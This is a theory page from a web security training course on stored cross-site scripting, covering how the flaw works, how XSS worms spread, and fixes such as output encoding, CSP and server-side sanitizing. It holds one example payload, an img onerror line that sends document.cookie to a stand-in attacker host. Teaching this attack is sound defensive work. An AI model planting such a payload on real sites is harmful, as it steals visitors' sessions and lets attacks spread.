Stored XSS · Lab 13
Lab 13 Module 3 Medium Theory

Stored XSS

Stored XSS is the most dangerous kind. The attacker's script is saved on the server — in a comment, a profile, a name — and served to every user who visits that page. No crafted link required. It spreads.

Why this lab is theory, not live. A live stored XSS lab would persist attacker-controlled JavaScript on the same origin as your real account. That is exactly how worms spread. So this lab teaches through explanation, code, and screenshots. A sandboxed live version on an isolated subdomain is coming.

The problem

What makes stored different from reflected.

Reflected XSS requires the victim to click a crafted link. Stored XSS does not. The payload is written once — by the attacker — and served forever — to everyone. It is a persistent compromise.

Where it happens

Anywhere a user-submitted value is saved and later rendered: comments, reviews, profile names, profile bios, message bodies, forum posts, support tickets, usernames. Anywhere a value lives longer than one page load.

A real flow

A comments section accepts a comment, saves it to the database, and renders it later for every reader. A malicious comment is submitted once. Every visitor — including the site's admin — runs the script.

Payload (posted once)
<img src=x onerror="
  fetch('https://attacker.example/log?c=' + document.cookie)
">

The attacker submits that as their comment. It saves. It renders to every visitor. Every one of those visitors sends their session cookie to the attacker.

Screenshot The comment rendered as a broken image — but the onerror handler fired, exfiltrating the visitor's cookie to the attacker.

How it works

Why it does not need a link.

The attacker does not need to send the victim anything. They submit the payload once, to a page that stores user input. Every subsequent visitor — by any path — gets the payload.

The escalation

Because the script runs on the victim site's origin, it can act as any user who views it. If an admin views the page, the script can perform admin actions — reset other users' passwords, delete data, exfiltrate reports, install a worm.

This is how real-world XSS worms have spread. MySpace in 2005, Twitter in 2010, and dozens of others. A single stored payload, viewed by many users, each of whom carries the payload forward.

Screenshot A comment that added the victim as a follower to the attacker, then posted the same payload on the victim's own profile — spreading.

The impact

Persistent, viral, quiet.

The victim does not have to do anything wrong. They visit the page they were going to visit anyway. That is what makes stored XSS so much worse than reflected XSS: no click, no unusual link, no warning.

And because the payload is stored, it does not go away. Even after the attacker is blocked, the payload remains in the database, continuing to execute for every new visitor — until someone finds it and removes it.

How to fix it

Same as reflected XSS — with one extra rule.

Output encode. Same principle. When rendering stored user input, encode it as text, not HTML. The escaping must happen at render time, not at store time — you never know which context the value will be displayed in.

Encode at the sink, not the source. A common mistake is to try to sanitize on input. Don't. Store the raw value, and encode it at the point where it leaves the server into HTML. That way, a value that is safe in one context (JSON API) is also safe in another (HTML page).

Content Security Policy. A strict CSP that forbids inline scripts and only allows your origin means even a stored payload cannot execute.

Sanitize rich content. If a field is meant to contain HTML (like a rich-text editor), use a well-known sanitizer like DOMPurify on the server side, with an explicit allowlist of tags and attributes. Never write your own sanitizer.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 13 — Stored XSS

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 13 of 30 Next lab